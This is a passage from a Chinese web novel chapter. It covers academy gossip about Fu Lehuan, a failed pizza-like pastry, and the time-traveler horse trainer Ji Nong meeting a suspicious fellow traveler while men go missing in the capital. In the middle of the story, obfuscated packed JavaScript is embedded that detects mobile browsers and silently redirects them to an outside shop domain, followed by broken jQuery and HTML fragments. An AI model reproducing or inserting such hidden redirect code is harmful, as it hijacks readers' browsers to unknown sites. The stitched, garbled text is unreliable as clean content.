功夫不负有心人,付乐欢这次写的文章被先生夸奖。素堂不需要刻苦的学生,她压着嘴角,打算回去再分享。
“听说之前文武都落榜,不知使了什么法子,来到书院。因为太差劲,别的堂给她撵出来,强塞到咱们素堂。”
“什么也不是,还就爱跟陶晋渡蓝他们混在一起,一脸讨好相,真不知耻。”
有的人就是见不得别人好,尤其是之前比不上他们的。只要见到他们发一点光,就赶过去涂墨。
付乐欢去找先生请教,不在场。但是渡蓝听得一清二楚。
“你也觉得讨好,对不对?”
那人被渡蓝一反问,愣住。确认问题不是来找他事,更无顾忌:“她也不是什么世家子弟,妄想考个功名,剥掉沾在衣角上的泥土,再沉浸在父老乡亲的称赞里,她这样的人,我见得多了。”
另一人也来接话:“说她讨好,那是表面,实际上精明的很。渡蓝你啊,就是太天真,当心被她利用。”
“不就是被先生夸了一句,她还假模假样地清高上了。跟这种人共处一堂,真是令人窝火。”
“那我猜,她若是表现出欣喜,你就要说小人得志是不是?”渡蓝实在是听不下去。
“不是,你到底想说什么?”他们想不到渡蓝竟会“反水”。
“我想说,你们觉得她如此不堪,怎么不调去更好的地方呢?是自身实力不行,还是长辈们不努力,没能给你们送去国子监?”
“渡蓝,别欺人太甚。”
“这会说我欺人太甚。你们刚才那番言论难道是夸人的?我就是欺负人也是正大光明。你们搁背后嚼舌根子也可以,别让我们听到。”
“听到什么?”付乐欢还不知道发生了什么。
“他们夸你文章写得好,我让他们小点声,怕你听了骄傲。”
虽然渡蓝没说实情,付乐欢也知道怎么一回事。她早就领教过背后的议论。她想去争论,细细思考下来,人家说得也没错,自己就是做了那些事。有些行为的好坏,靠的是主观评价。
她也曾因此困惑,束手束脚。后来发现,无论做什么,他们都会挑出毛病。这也就意味着,做什么都可以。
“骗人,我分明听见——”她停顿了一下,她知道背后说人坏话的,最怕对方找上眼前:“你们说要去糕点铺把饼撒全给包了,是不是?”
饼撒,是绿豆出的新品,失败的新品。吉农提出来的是披萨,但是食材搞不到,绿豆自行发挥,做出来的称为饼撒。都城老百姓爱尝鲜,但也不是什么都吃。
店里的东西当日基本都能售空,只有这个饼撒无人问津。卖不出去,就送街坊邻居,第一回人家还收,第二回就面露难色。吉农、付乐欢也早就吃腻了。
绿豆还以为饼撒一经推出,就会像蜂蜜小面包一样火爆,做饼撒的材料也备得多。还真成了一大难题。
这下好了,饼撒有去处了。
“他们打包的是什么?买了那么多?”糕点铺里,旁人见有人成打的买,还以为是什么美味佳肴。
绿豆招呼着:“饼撒,那是提前定好的。客官,这边瞧瞧,还有珍珠奶茶。”
一位顾客对饼撒似乎念念不忘:“可还有饼撒?”
“大叔,他们都买走了。”
“那饼撒长什么样?是不是圆圆的饼底,上面撒的有肉片、蔬菜?”
“你怎么知道?”绿豆一脸震惊,难道是因为难吃而出名了?
“还有你说的那个什么奶茶。”
“珍珠奶茶。”
“对,给我来一份尝尝。”
这位大叔喝了一口,沉默良久,多久没喝这一口了。之前血糖高,忌口多。现在不一样了。
“这位老板,饼撒和这奶茶都是你想出来的?”
“都是我做的,但主意是我一个朋友提供的。”
“他的想法很新奇呢。你能为我引荐一下这位朋友吗?”他怕老板误会成挖墙脚的,特意加上一句:“这些美味如此熟悉,我好像在梦里见过吃过一样。他,当然还有老板你,也算为我完成了梦想。我想见见他。”
还有一个爱做梦的。那位大叔满口都是对食物的称赞,会有什么坏心思呢。绿豆没多想,就应了下来。
“吉农,你明天去我店里一趟呗。”
“怎么了?有什么需要帮忙的,我明天正好有空。”
“有个人想见见你。”
“找我驯马?排队吧。”他还想抱怨,找他驯马都找到绿豆店里头了。
“不是。他跟你有同样的梦。”
蜂蜜面包、珍珠奶茶都不是蒲朝的东西。吉农猜想,那人一定跟他一样,也是穿越过来的。但是是不是同一个地方的,那就不知道了。他还是很开心,就像遇见马兄一样,多个朋友,多条出路。
“我也要去!”马兄吵嚷着也要跟去。
“带你,带你。”
那人早就到了,端坐在方桌前。吉农走过去,俩人四目相对,还未开口,就已知是同类。他们的眼神里,有老乡见老乡的泪汪汪。
“走,边走边说。”吉农可不想绿豆知道他们的秘密。
那人手握竹筒装的奶茶:“老板,我回来再还你杯子。”
“给他打招呼都不理我,他听不懂我说话,看来只有你最懂我。”黑马跟吉农撒娇。
他们走过了一条又一条的街,穿过了人群,吹着河边的小风,看着夕阳西下。他们聊了很多,怎么穿越过来,都经历了哪些无所适从,现在如何,未来作何打算。
他们都想回去。天黑了,是该回家了。
“大叔,你住哪?不知不觉,走了那么远。”
“我住客栈。”
“走,我送你回去。”
回去路上,黑马闷闷不乐:“我算是明白了,你没把我当人。你俩聊得火热,也不给我介绍介绍。”
“马兄,此言差矣。你也听了一路,那位大叔你听出什么问题没有?”
“他爱吃甜的。”
“不是这个。他一开始说他是来都城投奔亲人,最后回客栈的时候说是路过都城。”
“这咋了?你俩才第一天见面,他也没必要给你说那么详细。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598905|204328||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“就是啊,他信不过我,我也信不过他,当然不能把你暴露了。”
“我的弟弟,你俩聊到天黑,他估计连你穿啥色的裤衩子都知道,你还说你不信任他?”
“我说的那些信息,除了穿越,都是公开的,找人打听打听也都知道。但是你不一样。大家只知道你是匹有灵性的马,若是给他知道你是人,他动了邪念,把你给偷了怎么办?”
“我给你捋一捋,目前没人懂我的马语,哪怕把我骗到手,也只是单方向交流,有什么用?你是不是当驯马的当上瘾了,看谁都想抢你饭碗?”
“好心当成你的肺。跟你也说不清楚,反正就是不想让他知道那么多。”
“那你还约着再来找他。”
“也是打探打探消息。”
吉农虽然跟大叔聊了一路,但总觉得那人不怎么真诚,不像马兄。
“那么晚了,今夜就搁我这凑合一晚,明日咱俩一同去书院,不好吗?”付乐欢不舍得渡蓝回去。
渡蓝最近要画人物,付乐欢自告奋勇,她能跑能跳,还会舞剑:“给你当模特够不够?”
“足矣。”她们太过投入,忘了时间,渡蓝家里来人催促了才发觉天都黑透了。
“我晚回去还无妨。若是夜不归宿,我娘非得赏我‘唠叨咒’。”
“我娘也是。”俩人又聊了起来。正好碰到吉农牵着黑马回家。
“吉农回来了。”渡蓝打个招呼。
“见过渡蓝姑娘。”
“吉农,今儿我还给乐欢说呢,最近城里又失踪了几十口子,全是青壮年男子。不是吓唬你,要是训完马就早点回来。路上可别轻信他人的话。”
绿豆也在:“想想就后怕。吉农今天跟人家出去一天了。”
“我没事。那位大叔喜欢吃甜的,就多聊了几句。”吉农突然被几个人关心,害羞起来。
“无论是谁都得多加防备。你要是丢了,你家大小姐不得伤心?”渡蓝想逗逗这位身高马大,但面红耳赤的驯马师。
吉农撒腿跑了。
“人家早就脱贱籍了,我是哪门子大小姐。你快回去吧,我都想给你念唠叨咒了。”付乐欢不自然地做出驱赶的姿势,这个渡蓝真是开玩笑没个度。
平日里倒头就睡的付乐欢,一遍遍地揣度渡蓝的话:“吉农要是丢了,我为啥要伤心?不是,我会伤心啊,毕竟主仆一场,虽然现在不是,也算是朋友吧。为什么不能伤心?绿豆也会伤心。我娘我爹,他们倒不一定。老管家会伤心。这个臭渡蓝,说得什么话嘛。”
“你可不能丢,你家大小姐会伤心的。”马兄不放过任何一个八卦的机会。
“马兄,别学了,你都说了几十遍了。”
“说正经的,你说甜食大叔跟失踪的事有没有联系?”
“失踪的都是有把子力气的,他那个样子,我三两下就能放倒。你觉得有可能吗?”
“要不下次去的时候,给你家大小姐报备一下?真有问题,也能找到头。”
“快别大小姐大小姐了,我都不知道该怎么面对她。”